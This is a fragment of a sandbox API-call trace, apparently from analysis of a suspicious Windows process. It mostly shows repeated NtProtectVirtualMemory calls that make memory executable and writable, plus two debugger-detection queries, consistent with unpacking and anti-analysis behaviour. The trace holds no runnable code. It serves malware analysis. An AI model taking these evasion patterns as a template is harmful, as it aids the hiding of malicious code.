OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.561] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.588] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.605] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.615] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.626] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.647] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.665] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.682] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.714] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.762] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.780] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.828] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.857] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.876] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.908] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.927] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.956] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.975] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.004] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.023] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.064] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.084] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.131] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.153] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.184] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.203] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.233] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.334] NtQuerySystemInformation (in: SystemInformationClass=0x23, SystemInformation=0x1eb8f220, Length=0x2, ResultLength=0x0 | out: SystemInformation=0x1eb8f220, ResultLength=0x0) returned 0x0 [0290.343] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.409] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.425] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.453] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.469] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.499] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.517] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.545] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.562] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.605] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.665] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.691] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.705] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.745] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.758] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.771] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.799] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.853] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.873] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.909] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.931] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.951] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0290.970] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.002] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.042] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x1eb8f244, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x1eb8f244, ReturnLength=0x0) returned 0x0 [0291.050] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.070] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.102] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.136] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.155] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.186] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.206] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.240] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.259] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.311] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.330] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.380] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.411] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.430] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.499] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.677] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.688] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.712] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.722] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.758] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.774] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.790] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.817] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.829] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.841] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0291.864] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 